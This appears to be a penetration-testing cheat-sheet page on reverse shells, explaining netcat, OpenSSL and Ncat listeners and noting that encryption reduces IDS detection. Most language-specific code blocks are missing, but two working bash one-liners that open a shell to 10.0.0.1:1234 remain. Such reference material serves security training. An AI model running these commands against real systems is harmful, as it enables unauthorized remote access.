Reverse Shells

At a Glance #

After the exploitation of a remote code execution (RCE) vulnerability, the next step will be to interact with the compromised target. Reverse shells, as opposed to bind shells, initiate the connection from the remote host to the local host. They are especially handy and, sometimes the only way, to get remote access across a NAT or firewall.

The chosen shell will depend on the binaries installed on the target system, although uploading a binary can be possible.12

Unencrypted Shells #

Netcat Listener #

To get the connection from the remote machine (10.0.0.3) and interact with it, a listener have to be set on the desired port (1234) on the local machine (10.0.0.1).

chevron-rightParametershashtag
  • n: don’t do DNS lookups.

  • v: prints status messages.

  • l: listen.

  • p <port>: local port used for listening.

Note:

Use a port that is likely allowed via outbound firewall rules on the target network.

Ports from 1 to 1023 are by default privileged ports. To bind to a privileged port, a process must be running with root permissions.

Bash #

bash -i >& /dev/tcp/10.0.0.1/1234 0>&1
0<&196;exec 196<>/dev/tcp/10.0.0.1/1234; sh <&196 >&196 2>&196

Awk #

Gawk #

PERL #

PERL Windows #

Python #

Python Windows #

PHP #

Ruby #

Ruby Windows #

Golang #

Java #

Groovy 3 #

Note: Java reverse shell also works for Groovy.

Lua #

Lua Windows #

NodeJS #

Netcat #

Depending on the Netcat version, the -e option may not be available, but you still can execute a command after connection being established by redirecting file descriptors. A FIFO or named pipe can be created locally so when a connection is established, /bin/sh gets executed and the shell prompt is given to the remote machine.4

Netcat Windows #

Telnet #

Note: A FIFO can be create both with mknod <path> p or mkfifo <path> .

Encrypted Shells #

During an engagement is imperative to encrypt the communication between the target and the attacker to protect sensitive data and from further activity analysis.

Although most of the tools listed below do not support certificate pinning, meaning they won’t protect you against a MITM attack, they can significantly reduce the risk of sniffing and IDS detection. 5

OpenSSL 6 #

Before starting the listener, a key pair and a certificate must be generated.

chevron-rightParametershashtag
  • req: certificate request and certificate generating utility.

  • -x509: output a x590 structurearrow-up-right instead of a certificate request.

  • -newkey <type:bits>: specify as type:bits.

  • -keyout <file>: send key to <file>.

  • -out: output file.

  • -days <int>: number of days cert is valid for.

  • -nodes: don’t encrypt the output key.

Listener #

chevron-rightParametershashtag
  • s_server: generic SSL/TLS server which listens for connections on a given port using SSL/TLS.

  • -key <key>: private Key if not in -cert; default is server.pem.

  • -cert <cert>: certificate file to use; default is server.pem.

  • -port <port>: TCP/IP port to listen on for connections (default: 4433).

Reverse Shell #

chevron-rightParametershashtag
  • s_client: generic SSL/TLS client which connects to a remote host using SSL/TLS.

  • -connect: TCP/IP where to connect (default: 4433).

Ncat 7 #

Listener #

Reverse Shell #

chevron-rightParametershashtag
  • -n: do not resolve hostnames via DNS.

  • -v: verbose mode.

  • -l: bind and listen for incoming connections.

  • -p <port>: specify source port to use.

  • -e <command>: executes the given command.


  1. “Reverse Shell Cheat Sheet | Pentestmonkey.” Pentestmonkey | Taking the Monkey Work out of Pentesting, http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheetarrow-up-right. ↩︎

  2. swisskyrepo. “PayloadsAllTheThings/Reverse Shell Cheatsheet.Md at Master · Swisskyrepo/PayloadsAllTheThings · GitHub.” GitHub, https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.mdarrow-up-right. ↩︎

  3. Frohoff, Chris. “Pure Groovy/Java Reverse Shell .” Gist · GitHub, 262588213843476, https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76arrow-up-right. ↩︎

  4. “Nc.Openbsd.” Man Pages Archive - Manned.Org, https://manned.org/nc.openbsd/6f0a5cf9arrow-up-right. ↩︎

  5. “Certificate and Public Key Pinning Control.” OWASP Foundation | Open Source Foundation for Application Security, https://owasp.org/www-community/controls/Certificate_and_Public_Key_Pinningarrow-up-right. ↩︎

  6. OpenSSL Foundation, Inc. “/Docs/Manmaster/Man1/Openssl.Html.” OpenSSL.Org, https://www.openssl.org/docs/manmaster/man1/openssl.htmlarrow-up-right. ↩︎

  7. “Ncat Users’ Guide.” Nmap: The Network Mapper - Free Security Scanner, https://nmap.org/ncat/guide/index.htmlarrow-up-right. ↩︎